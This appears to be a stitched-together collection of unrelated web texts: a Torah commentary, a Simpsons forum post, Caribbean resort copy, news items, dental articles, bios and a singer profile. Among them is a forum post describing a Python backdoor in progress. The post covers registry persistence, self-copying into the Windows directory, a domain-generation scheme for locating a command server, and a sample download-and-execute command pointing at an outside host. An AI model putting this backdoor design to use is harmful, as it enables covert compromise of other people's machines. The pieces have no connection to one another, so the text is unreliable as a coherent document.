PARASHAH; "V'et' Chanan" (and I pleaded)
Moshe continues to retell the experiences of his life to "Am Israel" as the end of his life is nearing, He is like a father on his death bed, and causes all of his children to come near and listen to their father's experiences, or rather "all" of their experiences
"V'et 'Chanan l'Adonai" begins Moshe, "I pleaded to YHVH…" on the account of entering into the promised land. As we remember, Moshe in anger and had struck the "Rock" (Selah) and yet, water still came forth because of the mercy of Adonai, yet now Moshe pleads for mercy, the word "chanun" is a form of the Hebrew "mercy". One Israeli singer has a song which is; "Avi Chanun" (My father who is merciful). So, Moshe in a way is saying, "I plead for mercy to Adonai" let me see the promised land.
Yet the answer of Adonai was still "No" (Speak no more of this matter). We are all destined an "x" amount of years on this earth, who knows if, through actions we do, might "speed up" that time, or even "prolong" the time. King Hezekiah pleaded for more years of life, and he was granted the years, however, during those extra years, there was born to him "Manasseh" who proved to be one of the worst kings in Israel. Should Hezekiah have asked for those extra years?
We should take advantage of the years that God is giving to us on this planet called "earth" and make the best of them. If He has called us into ministry, let us perform that which He has called us to do to the best of our ability, doing it unto HIM who is the author of life, and when he calls for us, we will go, without complaining, or ask for "more years"
In this Parashah, we see the review of the Ten Commandments. What are these all about? They formed the "Ketubah" the contract between Elohim and Israel. They were given on Har Sinai, directly to the Israelites by HaShem himself, the rest of the 603 mitzvoth were given to Moshe who relayed them unto the people, still, they ALL came from Adonai.
(4) "Now, therefore, harken O Israel, unto the statutes and unto the judgments which I teach you, for to do them" Moshe was the teacher, taking all that the "Master" charged him to teach, and not "adding to" nor "diminishing" anything, teaching all the details, the "fine print" sort of to say. Teachers of God's Word, have a unique calling, it is their life, it is their passion, and they will not rest until they accomplish what they have set off to do.
I AM the LORD thy God: "Anochi Adonai Eloheicha" He is emphasizing "I AM" (I MYSELF AM) "Anochi" a very important statement, telling his people, that is was HE who brought them out of Egypt, and out of slavery. Two very important things, therefore, He has every right to be their God, and He has every right to be OUR God, since He has taken us out of the "World of Sin" (Egypt) and out from "Spiritual slavery"
"THOU shall not have any other gods before me" since pagan worship was the norm of Egypt, worshiping and bowing down to false "elohim" this was a reminder to Israel that YHVH is different, He is NOT like the false deities of Egypt, He is UNIQUE (Yachid) and He is ONE (Echad). But when people over-emphasize jobs and work, making money, sports, etc.… making them more important than our worship and attention towards Adonai, those "things" become "other gods" Yes, Adonai is a "Jealous" and "Zealous" God! (El Kanah) and has every right to be so.
"THOU SHALT NOT take the name of YHVH thy God in vain" What is that? It is using our LORD's holy name in unholy ways, in unholy conversations, making promises using God's name, like "I swear to God that I'll…" and then, not fulfilling those promises. We should use HIS HOLY NAME in worship and praise only.
"KEEP (guard) the Sabbath Day to keep it Holy" Where are we on the sabbath day? We should be in God's House to worship, praise, and learn from his word through teachers of the Word. It is a time of rest, and relaxation, a time for family to get together and worship the LORD, even for the house-wives, turn off the ovens and husbands, take them out to eat, or just whip up some sandwiches.
Enjoy the Sabbath day, it is the LORD's to rejoice and relax in. The Sabbath day has always been Saturday, it was never changed to Sunday (this will probably create some comments). But EVERY day of the week is a time to study God's Word and praise Him for all of his blessings.
"HONOR Thy Father and Thy Mother" this goes without explanation. I think it is common sense for children to honor and obey their parents, for they are the ones who raise them up. Yet the Fathers and Mothers have a GREAT responsibility, to raise them in the knowledge of God and his word. If not, then, they will be responsible for possible "rebels" later one in life.
"THOU shalt not kill; THOU shalt not commit adultery; THOU shalt not steal". Ever wonder why these are listed together? Example, if one commits adultery, takes the wife of another in sex, that person is "killing" that relationship and is "stealing" what does not belong to him. The word "Kill" means "murder" taking an innocent life, it does NOT refer to self-defense or soldiers fighting in a war. There are many ways of "stealing" some rabbis say that "all sins" are a form of "stealing" not just taking money, coming back late from lunch break is "stealing" time from your employer, telling a lie is "stealing" the confidence one might have had in you, and it is "murdering" that trust.
"THOU shalt not bear false witness against thy neighbor" being truthful to someone is very important, and not telling the whole truth, is in fact, telling a lie, and being false to someone who is close to you, again, it is "stealing trust" and "murdering a relationship" through being "false".
'THOU shalt not covet" If Adonai wants you to have what your neighbor has, He will give it to you. We should be content with the much or the little we have, anyway, when we die, ALL will be left behind. So, no need to covet, it just brings about headaches.
(6) This chapter has the "Shema" one of the most important verses in the Torah; "Shema Israel, YHVH Eloheinu, YHVH Echad" "Shema" (Listen to and heed/do/obey) "Yisrael" we are part of HIS people. It started out as 12 tribes, sons of Jacob, then it included those Egyptians who chose to follow Moshe out of Egypt. Adonai did not reject them just because they were Egyptians, they also became part of the nation, through "adoption".
In the beginning, America consisted of only the indigenous tribes that came from Asia during the Ice Age, but later, European peoples came as immigrants and settlers when it became a nation in 1776, the United States of America consisted of ALL peoples who were living in the land. The 12 tribes of Israel became a great "Adat" (congregation, community) now consisting of all believers in Yeshua.
we have been adopted into HIS Chosen family through Yeshua HaMashiach, it pertains to ALL believers. Adonai is OUR GOD, since we are FAMILY, and He is ONE in Unity (Father, Son, Spirit "Echad" the word for "Adonai Eloheinu" consists of the most sacred letters YHVH, in the ancient Hebrew, those letters symbolize "Behold the hand, Behold the nail". So, if we looked at the words "YHVH Eloheinu" from an ancient Hebraic position, we could read; "Behold the hand, Behold the nail, who is G-d that instructs (us) and leads us to (eternal) life through the nail that (penetrated) the hand" I guess that is one way one could look at it.
The word "Elohim" has three meanings; One is the Tri-unity of G-d, yet if we spell it "elohim" with a small "e" in English, then it means "gods" in the plural (usually false gods) yet it also means "ambassadors" or "representatives" of "Adonai-Elohim" Remember that Yeshua when He addressed the Prushim (Pharisees) said, "No ye not that ye are gods?" (John 10:34; Psalm 82:6)
"You shall love…" (vs 5) Yes, with all of our heart, soul, mind, and strength. This includes "teaching" His word to our children, at all times, to others who have the ears and willingness to listen
Be the person in our house, Be the person "walking with us on the "way" at bedtime and at morning time, the time for God's Word and teaching it is at ALL TIMES, provided, of course, that the other person wished to hear it. God's Word is to be shared and taught, NEVER to be forced upon another!
Binding upon the hands and frontlets between our eyes, using Tefillin are symbolic in that God's Word is to be in our minds and put into action using our hands, in performing mitzvoth (good works)
Writing them and putting God's Word on our doorposts and gates using "mezuzot" is symbolic to let people know that "living here is a family who honors God and His Word"
Moshe reminds the people again and again to "Keep the commandments of the LORD thy God and his testimonies and statutes" in many verses. Just keep in mind that "keeping the commandments does not "save a soul" Salvation comes only from accepting Yeshua (Jesus) as LORD and Savior, that and that ONLY saves a person from eternal condemnation. Obedience to the commandments comes "after" as a sign that we are now part of HIS family, and we now have new desires to follow HIM in HIS ways. There is "Yeshuah Kadosh" (Righteous Salvation) and "Mitzvoth Kadoshim" (righteous works) both are separate yet both go together. The later is a result of the first.
The prophet comforts Israel that their sins have been forgiven, the punishment is over. YHVH again is compared to a father who must punish his children for sins and disobedience. The father will chastise, yet not forever. Darkness has passed and the light has come.
"The voice of him that crieth in the wilderness, prepare ye the way of YHVVH, make straight in the desert a highway for our God." Yochanan the Baptizer fulfilled these words. AS we know, he prepared the way for Yeshua, his cousin and his LORD, preparing peoples' hearts and minds
"He shall feed his flock like a shepherd; he shall gather the lambs with his arm and carry them in his bosom and shall gently lead those that are with young" (vs 11) Doesn't this sound like our Savior and LORD? We are HIS flock and He feeds us with His WORD. His word guides us and leads us all.
He has sent shepherds to teach his word and to guide us. There are many "old sheep" and "young sheep" those that are young are young in the word, yet through the right guidance, the young will mature into older and wiser sheep.
As a shepherd leads his sheep, allow us LORD to be led by YOUR Word, and by your shepherds who have been sent by You to lead, guide, and teach ALL of your people. Amen"
This starts out "After these things…" what things one might ask? In the previous chapter it talks about Yeshua going up to Yerushalayim after the feast of the Passover and he healed a lame man at the pool of Siloam. Yes, he was criticized by many, as even many of his believers and followers were and still "are" criticized, made fun of, and even murdered, all in HIS name.
"After these things, Yeshua went over the Sea of Galilee, which is of Tiberias. I have been in the city of Tiberias. In July, it is "Hot" very much so, but the Sea of Galilee is very refreshing, but watch out, there are a lot of fish that come by to nibble at your feet. This is where the crowd comes to hear Yeshua, he goes to a nearby mountain and has the people to sit down. The number was about 5000. Yeshua knew that the people were hungry, so, he turns to Philip and says; "Where shall we buy bread so that these may eat?"
Didn't he know? Yes, of course, He was just waiting for Philip's response. Perhaps, He was waiting for an answer such as; "We can't possibly buy so much bread, so…YOU feed them LORD!" but he didn't say that. It was Andrew who came with the boy who had 5 loaves of barley bread and 2 fishes.
We need to know that first, the boy must have come forward to offer his lunch. Of course, the boy knew that 5 loaves of bread and 2 fishes would not be enough for the whole crowd…BUT…with a little bit of faith…ANYTHING is possible. I mean, if Yeshua could heal the lame man, he could also feed this crowd.
We have the offer, 5 pieces of bread and 2 fishes. We have the blessing and thanks, Yeshua lifts the loaves and fishes, (probably found a basket to put them in) and then, the distribution. There was enough for ALL. With the faith of a little boy, the faith of a mustard seed, we see a "mountain" of pieces of bread and a whole bunch of fish. The result, 12 baskets full were left over. One wonders who got the baskets of bread and fish. Probably the boy, to redistribute the blessing to his family and friends.
We look at the numbers, "5" and "2" "5" is the number of grace, and "2" is the number of a covenant. It takes "2" entities or parties to make a covenant. Yeshua shows "grace" to the people, and makes a small covenant, "blessings to this crowd, for the faith of a small boy" When we add 5 + 2 we get the perfect number "7" which is the number of God.
Yeshua, who is the "Bread of Life" who has made his followers "fishers of men" has made a covenant in heaven, His life and blood for our salvation. The Word of God is also the "Bread of Life" which comes from the Father for all of us to eat and digest. Let us all go forth and be "fishers of men (and women) to reach and teach them the Words of the Master so that ALL might have eternal life through HIM who died to set us free.
Shabbat Shalom…

Just wondering, since I'm new here and all, is it in this board's opinion that The Simpsons are still a quality show justifying their own existence or is the lack of great episodes past season 9 enough to make you want them to put it to a stop? I mean there IS always the possibility that many will one day remember The Simpsons based on the average quality of the show over the course of all of it's seasons, not at it's peak form.
For instance I often state that Futurama is better than The Simpsons in one key way - The overall greatness of the show as a whole. Futurama started off very strong (the product of great planning on Mr. Cohen's part I assume) and didn't really last long enough to have a "down cycle" as some may refer to the last six or so years of The Simpsons.
Now does this mean I think that Futurama is the better show? Not really, as The Simpsons did more for me than make me laugh. If it wasn't for the success of The Simpsons I wouldn't have ever had Futurama to begin with, or South Park, or even freaking Family Dog for God's sake. I'm an animation fan and The Simpsons are the reason that any real time and effort was put back into primetime animation. So I say that The Simpsons is the most important show (to me) on tv.
But I still really love Futurama...

On the northern shore of the Dominican Republican stands the enchanting city of Puerto Plata. This well-kept secret is steeped in European and New World history dating back to 1502 when Nicolas de Ovando established a shipping base under the direction of Christopher Columbus.
Stroll past the magnificent Victorian gazebo in the Parque Independencia, and you can sense a time when Puerto Plata was a leading New World trading port and the Fortaleza de San Felipe protected the city from pirate attacks.
The history of this beautiful place is truly multi-cultural. Over 1,000 years ago Arawak Indians walked the amber beaches and hunted in the nearby mountains. Runaway slaves from the Americas often found safe harbor here. And in the 1800s, an influx of farmers from nearby Cuba launched the agricultural era of sugar cane and tobacco which still exists today.
An historic, galleried mansion houses the city's Museo de Ambar Dominicano, dedicated to the Dominican Republic's national stone – translucent amber. An ancient lighthouse, recently restored, harkens back to the days of massive Spanish galleons and tall ships arriving from the New World. Stroll along picturesque lanes and you'll find charming galleries, gift shops and cafes tucked within Victorian mansions. Overlooked for decades, this lovely coastal city is fast becoming a destination of choice of vacationers throughout the world.

Guests that book through ResorToLuxury and traveling through Puerto Plata will be provided 'free' transportation to and from the LHVC Resort.

Punta Cana is part of the newly created Punta Cana-Bavaro-Veron-Macao municipal district in La Altagracia,the easternmost province of the Dominican Republic.
Presidential Suites – Punta Cana is located in the town of Cortecito and set within the area of Punta Cana which is 13 miles or 21 kilometers from the airport, making it an easy and convenient destination.
The area is best known for its long stretches of white sandy beaches and turquoise Caribbean waters. This popular destination is bordered to the north by the village and beach of Cabaza de Toro and the Bavaro and El Cortecito beaches famous for their pristine beauty. Because of its beauty, Punta Cana-Bavaro has attracted a group of mega-resorts which provide an eclectic variety of architecture and interior design inspired by Spanish, Mexican and native Dominican cultures.
Areas bordering Punta Cana include Cap Cana to the south and the original tiny fishing-village of Cabo San Rafael. A 330 foot high cliff is located more to the south, near of Boca de Yuma town, a fishing village dated from the 16th century. Nearby, you can find the Ponce de Leon's Fortress, in San Rafael del Yuma town.
Cancun, a place of diversity is located on the Caribbean Sea, and is one of the easternmost points in Mexico and just north of Mexico's Caribbean coast resort band known as the Riviera Maya within the Yucatán Peninsula in the Mexican state of Quintana Roo.
This historic land that once housed the Mayan Empire, is lush in tropical vegetation, resplendent in
ancient historic sites, modernized with luxurious resorts and gourmet cuisine and nestled along sandy beaches of Caribbean azure waters.
Explore the mystery and magic of spectacular Chichen Itza, the ancient capital and archaeological zone for the Mayan ruins. Swim in a magical cenote, a waterway specific to the area, before exploring the amazing Mexican landscapes to be found within Tulum or Xel-Ha aquarium and park.
Looking for more seafaring adventures?

Take a day trip to Xcaret, an incredible eco-archeological park in the Riviera Maya. Spend the day in paradise as you relax, snorkel, enjoy nature and take part in family-friendly activities.
Whatever your fancy, Cancun is a place where you can find it. The diversity of the history with new and modern luxuries, as well as an abundant beauty and fair weather makes this a vacation paradise you need to experience to believe.

Thai deputy prime minister & defence minister under fire for watch
BANGKOK: Thailand's deputy prime minister and defence minister General Prawit Wongsuwan has said that he would clarify to the country's anti-graft agency the reasons he was seen wearing an expensive, but undeclared watch.
Gen Prawit came under fire when a photograph of him shading his eyes from the sun went viral earlier this week, with social-media users drawing attention to his diamond ring and watch.
The timepiece looked similar to a model by Richard Mille, a brand popular among Hollywood and sports stars, which would have cost between four million and 10 million baht (S$165,000 and $413,000).
Such a pricey watch was not included in Gen Prawit's asset declaration back in 2014, when he started serving in the Cabinet, but it is possible that he obtained it since the declaration.
Speaking reluctantly on Wednesday, Gen Prawit refused to elaborate on his possession of the watch.
"It's no use explaining to the media. I will just go one-shot with the National Anti-Corruption Commission (NACC)," he said.
Political activist Srisuwan Janya planned to file a petition to the NACC to probe Gen Prawit's possession of the ring and watch yesterday.
Politicians in Thailand have fallen into trouble before after being seen wearing expensive timepieces.
In 2013, then-prime minister Yingluck Shinawatra was criticised for owning a 2.5 million baht watch that was not declared to the NACC.
During the investigation, Ms Yingluck said she had sold the watch before entering the political arena - and used the money to buy diamonds.
The investigation remains incomplete. - ASIA NEWS NETWORK

Plastic pollution has grabbed the world's attention, and with good cause.
More than 100 years after its invention, we're addicted. To pass a day without encountering some form of plastic is nearly impossible. We've always been eager to embrace the promise of a product that could make life cheaper, faster, easier. Now, after a century of unchecked production and consumption, convenience has turned to crisis.
Beyond a mere material amenity, today you'll find plastic where you least expect it, including the foods we eat, the water we drink and the environments in which we live. Once in the environment, it enters our food chain where, increasingly, microplastic particles are turning up in our stomachs, blood and lungs. Scientists are only beginning to study the potential health impacts.

A backdoor made in Python! It's still a work in progress but I thought I may post it hear and hear what you guys think. The code is straight forward and shouldn't be hard to understand. How it works: First it will look after a winreg entry to see if has been run before on the system, this winreg is will be found at" Local Machine Software\Microsoft\Windows\CurrentVersion\Run" under the name SystemAudio. If it is found then it jumps to check if it can find a valid CC to connect to. And if haven't ran before it creates the entry and copy itself to the windows directory, and then tries to find a valid domain. This is done by generating domains based on weeknr and year + a keyword. If the backdoor has ran before it will also try to lookup a winreg found at Local Machine "Software\Microsoft\Windows" where a valid domain will be stored. It then tries to find and connect to a valid domain. If it manages to connect to a domain it will search for a keyword on the page to see if the domain is valid, if it can't find it it will move on and check the next domain. If a valid domain is found it saves to the winreg mentioned before. It will now look if there is a command on the CC, there is only one command so far and thats download and execute. The command layout looks like this DownloadAndExecute=http://h1.ripway.com/ctrltest/putty.exe=putty.exe=2 It will download the file mentioned in the url and spawn it in a new process. It will then sleep for 10min before it contacts the CC to look for a new command. To stop it executing the same command twice the commands is given a ID. Thats about it. More things I'm working on is a dll/code inject and a admin rights hack in some sort of way to make it work on Vista/Win7.

Gurgaon: now, traffic violators to pay fine on spot
To penalise traffic offenders on the spot, the Gurgaon traffic police launched an e-challaning system on a trial basis on Friday.gurgaon Updated: Jun 01, 2013, 00:37 IST
To penalise traffic offenders on the spot, the Gurgaon traffic police launched an e-challaning system on a trial basis on Friday.
With this, the police will issue challans through hand-held gadgets and violators have to pay fine on the spot.
The police have bought four machines and these will be distributed in the East area as per the volume of traffic.
The trial run was conducted at the Galleria Market road by joint commissioner of police, Maheshwar Dayal.
Following the successful trials, the department plans to commission e-challans in a fully operational manner throughout the city. The cost of each machine is around R35,000. There is no facility to use credit/debit cards on this. Initially, 50 police personnel would be trained to operate the device.
Joint commissioner of police Maheshwar Dayal told HT, "We wanted to modify our system of challaning to ensure transparency among the residents. The manual system of issuing challans takes time and can be tampered with. e-challaning is much easier. Everything will be recorded on the server."
As soon as a traffic violator is issued a challan, all details and the challan would be updated on the system immediately. "The machines would be connected through a server to the Central challaning branch in Sector 51," added Dayal.
This would not only save the time of cops, but will also do away with the confusion caused while issuing challans.
The trial will be conducted for the next 15 days and based on the device performance, more devices will be ordered.
The move comes in the wake of the traffic police receiving complaints from residents about traffic personnel harassing them, asking for bribe and tampering with the challans.

There's really no secret to keeping your child's teeth healthy — good, daily hygiene habits, regular dental visits and early treatment for emerging problems. It's a lot easier for those things to happen if your child feels comfortable with dental care and visiting the dentist. Sadly, that's not always the case: many children develop an unhealthy fear of the dentist because the initial relationship may have been mishandled.
Here, then, are 3 tips that will help you foster a healthy relationship between your child and their dentist.
Visit the dentist before their first birthday. From a health standpoint, dental visits should begin soon after your child's first teeth emerge (erupt) in the mouth. Visiting the dentist by their first birthday also improves the chances they'll develop a sufficient level of comfort with the visits, more so than if you waited a year or two longer.
Choose your dentist with your child's sense of security and comfort in mind. When you're looking for a dentist to care for your child, think of it as looking for a "new member of the family." It's important to find an office environment that's kid-friendly and staff members that work well with children. Some dentists specialize in pediatric dentistry and many general dentists have additional training in working with children. The key is a dental team that has a good, trust-building rapport with children.
Set an example, both in the home and at the dentist. Children learn quite a bit watching what their caregivers say and how they react in potentially stressful situations. If dental care is important to you personally, it's more likely to become important to your child. And when you visit the dentist with your child, be sure to project calm and a sense that it's routine — if you display tenseness or nervousness your child may take that as a sign that visiting the dentist is something to fear.
You want your child to learn that the dentist is their friend who's there to help them. That lesson should begin early with the right dental team — and by making dental care a priority in your own life.
If you would like more information on dental care for your child, please contact us or schedule an appointment for a consultation. You can also learn more about this topic by reading the Dear Doctor magazine article "Taking the Stress out of Dentistry for Kids."
Many recent high school graduates will soon begin their first year in college, and for many it will be their first time living away from home. But with the excitement of new freedom, there's also the opportunity to make poor choices that could impact long-term health, especially teeth and gums.
Here, then, are 5 tips for keeping your teeth and gums healthy during the college years.
Watch what you eat and drink. At any stage of life, a nutritious, balanced diet low in sugar and high in fiber is vital to a healthy mouth. Snack moderately on fresh fruit, nuts or dairy foods, not sugary, processed products. Be sure also to drink plenty of water for hydration, not sodas or sports drinks whose high acid content can soften enamel and open the door to tooth decay.
Don't abuse alcohol or use tobacco. Consuming too much alcohol can do more than leave you momentarily impaired — it can cause dry mouth, which contributes to tooth decay and increases your risk of oral cancer. Any form of tobacco can raise your risk for disease, especially oral cancer; high levels of nicotine may also inhibit your gum's ability to fight infection, which increases your risk of periodontal (gum) disease.
Avoid oral piercings. Those tiny pieces of hardware attached to lips, tongue, gums or even through teeth may be all the rage, but they're a recipe for immediate and future mouth problems. Oral piercings can lead to chipped teeth, gum recession and a higher chance of dental disease.
Practice safe sex. Certain sexual behaviors can raise your risk of contracting human papilloma virus (HPV16) that in turn increases your risk of oral cancer. You can also develop genital herpes in the mouth, which although manageable won't go away.
Keep up your oral hygiene care. Taking care of your teeth and gums is a permanent, daily concern. Whatever your college schedule, be sure you're brushing once or twice a day and flossing once. And don't forget to visit us at least twice a year for a thorough cleaning (to get plaque you can't reach with daily hygiene) and a checkup to keep dental disease under control.

It might seem that supermodels have a fairly easy life — except for the fact that they are expected to look perfect whenever they're in front of a camera. Sometimes that's easy — but other times, it can be pretty difficult. Just ask Chrissy Teigen: Recently, she was in Bangkok, Thailand, filming a restaurant scene for the TV travel series The Getaway, when some temporary restorations (bonding) on her teeth ended up in her food.
As she recounted in an interview, "I was… like, 'Oh my god, is my tooth going to fall out on camera?' This is going to be horrible." Yet despite the mishap, Teigen managed to finish the scene — and to keep looking flawless. What caused her dental dilemma? "I had chipped my front tooth so I had temporaries in," she explained. "I'm a grinder. I grind like crazy at night time. I had temporary teeth in that I actually ground off on the flight to Thailand."
Like stress, teeth grinding is a problem that can affect anyone, supermodel or not. In fact, the two conditions are often related. Sometimes, the habit of bruxism (teeth clenching and grinding) occurs during the day, when you're trying to cope with a stressful situation. Other times, it can occur at night — even while you're asleep, so you retain no memory of it in the morning. Either way, it's a behavior that can seriously damage your teeth.
When teeth are constantly subjected to the extreme forces produced by clenching and grinding, their hard outer covering (enamel) can quickly start to wear away. In time, teeth can become chipped, worn down — even loose! Any dental work on those teeth, such as fillings, bonded areas and crowns, may also be damaged, start to crumble or fall out. Your teeth may become extremely sensitive to hot and cold because of the lack of sufficient enamel. Bruxism can also result in headaches and jaw pain, due in part to the stress placed on muscles of the jaw and face.
You may not be aware of your own teeth-grinding behavior — but if you notice these symptoms, you might have a grinding problem. Likewise, after your routine dental exam, we may alert you to the possibility that you're a "bruxer." So what can you do about teeth clenching and grinding?
We can suggest a number of treatments, ranging from lifestyle changes to dental appliances or procedures. Becoming aware of the behavior is a good first step; in some cases, that may be all that's needed to start controlling the habit. Finding healthy ways to relieve stress — meditation, relaxation, a warm bath and a soothing environment — may also help. If nighttime grinding keeps occurring, an "occlusal guard" (nightguard) may be recommended. This comfortable device is worn in the mouth at night, to protect teeth from damage. If a minor bite problem exists, it can sometimes be remedied with a simple procedure; in more complex situations, orthodontic work might be recommended.
Teeth grinding at night can damage your smile — but you don't have to take it lying down! If you have questions about bruxism, please contact us or schedule an appointment for a consultation. You can learn more by reading the Dear Doctor magazine articles "Stress & Tooth Habits" and "When Children Grind Their Teeth."
Find out how your Owings Mills, MD dentist can improve the appearance of your gums.
When we think about getting the perfect smile we often think about how we can change our teeth to get the look we most desire. But for many people, obtaining a beautiful smile has more to do with their gums then their teeth. There are many reasons for excessive or uneven gums and it's not as uncommon as you might think. If you want to improve the look of your smile with gum contouring then talk to your Owings Mills, MD dentists Dr. Herbery Mendelson and Dr. Harold Mendelson to learn more.
Scaling and Root Planing
Mild forms of gum recession that are caused by gum disease can sometimes be treated with a simple non-surgical treatment known as scaling and root planing. This procedure deep cleans teeth, teeth roots and gums to remove tartar and plaque buildup. This treatment is often recommended for those with gum disease.
Sometimes antibiotics may also be administered to reduce the amount of bacteria in the mouth. If bone loss or deeply infected pockets are present then scaling and root planing may not effectively treat your gum recession. In this case, your Owings Mills dentists will recommend surgery.
Gum Recession Surgery
While many times gum contouring, or a gum lift is considered purely cosmetic, there are times in which issues such as gum disease make this procedure necessary for the health of your gums and teeth. Gum contouring is performed right here in our Owings Mills dental office under local anesthesia. We will mark where the new gum line will begin before we start your procedure. During your procedure we will separate the gum from the bone and then reshape the gums so they are in a more aesthetically pleasing position. Sometimes bone will need to be trimmed down in order to accommodate this gum lift. After your procedure you will be able to enjoy a more even, natural smile.
Do you think your smile could get the aesthetic boost it needs with gum contouring? Then it's time to find out if you're right. Schedule a consultation with your Owings Mills dentists and let Mendelson Family Dentistry give you the smile you've always wanted.
Dental work isn't performed in a vacuum — the state of your general health can have an impact on procedures and vice-versa. This is especially true if you're taking certain medications like blood thinners.
Blood thinners such as Warfarin or Clopidogrel are used for a number of medical conditions as an anti-coagulant (inhibiting blood from clotting). They're commonly part of a stroke or heart attack prevention strategy in patients with cardiovascular disease, or those with tendencies for thrombosis (blood clot formation within blood vessels) or pulmonary embolisms (blood clots within the lungs). They're also used with patients with artificial heart valves or on a temporary basis with patients who've recently undergone knee replacement or similar surgical procedures.
In most cases, dental work won't be affected by your use of a blood thinner. An issue might arise, however, if an invasive procedure has the potential to cause bleeding, like a tooth extraction or gum surgery. Because the blood doesn't clot normally it may be difficult to stop the bleeding during such procedures.
To avoid undue complications, it's always best to let your dentist or oral surgeon know what medications you're taking, especially blood thinners (this includes low-dose aspirin, a common over-the-counter drug that's often prescribed as a mild blood thinner). Depending on the procedure and your dosage, they may consult with your prescribing doctor to see if temporarily stopping the medication or reducing the dosage is an acceptable precautionary measure for your dental treatment. Your dentist may also take precautions during the procedure to help reduce bleeding such as using haemostatic agents around the wound site to help stabilize blood clotting, while carefully suturing the wound to avoid disrupting smaller blood vessels (capillaries) that easily bleed.
If your dosage has been temporarily stopped or reduced, you'll usually be able to resume blood thinners immediately after the dental procedure. Working together, your dentist and doctor will help ensure that your health won't be at risk and your dental procedure will occur without undue complications.
If you would like more information on dental work precautions with medications, please contact us or schedule an appointment for a consultation. You can also learn more about this topic by reading the Dear Doctor magazine article "Oral Surgery & Blood Thinners."

Currently I am working as a Production Designer, Art Director, and Graphic Designer in film, TV, Print, and Commercial. I am an active member of 829 and have unique experience working in the more recent mediums of 3d and new media TV. Most recently I Art Directed "Deadbeat" - a TV show for Hulu/Lionsgate produced by Plan B/Dakota starring Tyler Labine and Cat Deeley. Other experience I have includes advertising for NBC Universal, television with Jarrett Creative/Bio and Lifetime networks, music videos with Rik Cordero/three21 and Ghost Robot, and projects connected to talent such as James Spader, Dennis Hopper, Wu-tang, Molly Shannon, Jason Biggs, and Samantha Bee.
My interest in Set Design began in High school. I designed and built our school's first set for a school play at the age of 15. A Theatre Set Design Director and Professor, attended the play and subsequently offered me a position within a local professional theater association as a part of his Scenic crew. I continued to work for professional theatre associations including an Opera Company, a center for performing arts, and a university theatre program in the Set Building, Props, and Scenic departments for the following 8 years. The experience helped me develop strong carpentry, lighting, and painting skills and an ability to work on large-scale projects. My undergraduate and graduate studies were focused on visual arts – specifically Installation incorporating film and Multimedia art. My undergraduate University focused specifically on problem solving and interdisciplinary studies – a valuable experience that was a perfect foundation for working in film.
Throughout my education I acquired skills in graphic design, film and video editing, and traditional sculptures skills: metal fabrication, including welding, forging and metal casting and ceramics. My artwork and studies lead me to acquire 9 scholarships, 2 awards, 7 solo exhibitions, 22 group exhibitions, and a graduate teaching assistantship. My technical background and interests in contemporary art, photography, and film gives me a broad range of resources for Production and Set design. After I completed an MFA, I went back into set design in Film and found a profession I am passionate about. I truly enjoy the collaborative creative process in film and now work with a large range of companies, projects, and budgets, which continues to underscore my abilities for future creative challenges.

Boys & Girls Village prepares students for life after school
More than 36,800 Connecticut high school seniors will graduate this month, and while some will pursue a college or postsecondary degree-path others will join the workforce. But are they prepared? According to Education World, many employers feel that students do not have the right skills to make the transition from school to the workplace.
Boys & Girls Village's (BGV) Work To Learn program is working to change that. The program provides at-risk 16 to 21-year-old students with hands-on work experience at one of BGV's student-led businesses, which includes Meatball Heaven, Do Me A Favor and Design IQ & Print. The program teaches participants about business operations as well as how to market and sell their products or services.
Work To Learn also incorporates life skill lessons into the program. Students are partnered with a job coach and learn about appropriate work attire, interview preparation, and general workplace etiquette. They also take financial literacy courses, which focuses on goal setting, banking, budgeting, shopping, saving, investing, credit and identity theft.
Students are then encouraged to open their own bank accounts, and based on their successful participation in the skills training classes , the students are eligible to receive a 100 percent match in savings to go toward purchasing a necessary asset such as a computer, car or housing. Recently, nine students have opened either individual development accounts (IDAs), certificate of deposit (CDs) or personal bank accounts – and BGV has matched up to $20,000.
"Many of our students grew up in a distressed environment and don't always have influencers at home to guide them through the transition from school to the workforce," said Dr. Steven Kant, President and CEO, BVG. "Our Work To Learn program better prepares these students for a future career and provides them with the skills they need to succeed and achieve economic self-sufficiency."
To date, the program has helped 181 students and every graduating student has enrolled in a post-secondary or vocational school.
"Work To Learn changed my life and my thinking," said Client, BGV. "The skills I learned were survival skills for someone in my position. Now I have job experience and feel more confident about my future as a whole."
BGV is located in Milford and is one of five agencies in Connecticut to provide a Work To Learn program for kids and young adults in the State's foster care system. All of the proceeds from the Work To Learn enterprises support the program and students.

"Lloyd Alexander is the true High King of fantasy."
Garth Nix
"The strongest high fantasy written for children in our times."
School Library Journal
Lloyd Alexander is one of the most respected and best-loved of American authors, with a huge following worldwide. He has written over forty books for adults and children. The Chronicles of Prydain have won many awards, including the highly prestigious Newbery Medal for The High King, as well as the Newbery Honour for The Black Cauldron and the ALA Notable Book for The Book of Three.

After they married, Lloyd wrote novel after novel and it was seven years before his first novel was published. His magical stories have now sold millions of copies and have been translated into thirteen languages. "I never became a world traveller, an explorer, an adventurer. But I did become a writer, which is pretty much the same thing." Lloyd Alexander
"A very fine fantasy adventure with a quite compelling magic of its own. It is rare that high excitement yields such quiet wisdom."
New York Times
"I love these books...Long Live Prydain!"
Meg Rosoff, Award-winning author of How I Live Now

You may have seen local singer/songwriter Marissa Chibli on Good Morning Texas or during her regular sets at Dodie's on Lower Greenville or Megalitos in Hurst. With her ability to fuse Latin and pop music, the Latina singer-songwriter has become a local favorite. With the release of her newest single "All Alone," Chibli is ready for the big pop leagues and to make strides as a Latina crossover artist.
"All Alone" is Chibli's first English single and tells the story of a woman who wants to repair a relationship with her partner, as opposed to simply parting ways, the prevalent theme used in modern breakup anthems. It's a song about empowerment, a pop banger with Latin house influences and a dance break between the chorus and verses.
"All Alone" precedes the release of Chibli's upcoming yet-untitled EP, scheduled for release this summer or early this fall.
"We love keeping the vibe kind of summer-y," Chibli says. "I want to make people dance and get up and have a good time. That's the joy of Latin music, getting up and moving your hips."
Chibli has been performing all of her life, first by participating in various talent shows and choral organizations during her school years. For the EP, she's been studying the craft of reggaeton hit-makers like J. Balvin, Natti Natasha, Maluma and Becky G. She cites Shakira and Selena Quintanilla as her biggest influences.
"These are the women who opened the doors for Latinas in pop music," Chibli says. "These women have created some of the best crossover songs of all time."
As an independent artist, Chibli handles much of her own marketing and social media, as well as coordinating her own music video shoots. One of her biggest feats as an artist without major-label backing happened last year, when her Spanish cover of Camila Cabello's "Havana" went viral.
"That was so surreal to me," Chibli recalls. "It was definitely an achievement I had been waiting for, for one of my videos to blow up."
